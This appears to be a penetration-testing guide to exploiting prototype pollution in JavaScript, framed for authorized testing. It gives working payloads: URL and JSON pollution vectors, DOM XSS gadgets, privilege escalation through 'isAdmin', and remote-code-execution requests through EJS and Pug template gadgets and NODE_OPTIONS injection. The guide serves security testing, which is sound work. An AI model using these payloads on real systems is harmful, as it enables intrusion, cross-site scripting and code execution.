Exploiting Prototype Pollution in JavaScript

When to Use

• When testing Node.js or JavaScript-heavy web applications
• During assessment of APIs accepting deep-merged JSON objects
• When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
• During code review of object merge/clone/extend operations
• When evaluating npm packages for prototype pollution gadgets

Prerequisites

• Burp Suite with DOM Invader extension for client-side prototype pollution detection
• Node.js development environment for server-side testing
• Understanding of JavaScript prototype chain and object inheritance
• Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
• Prototype Pollution Gadgets Scanner Burp extension for server-side detection
• Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

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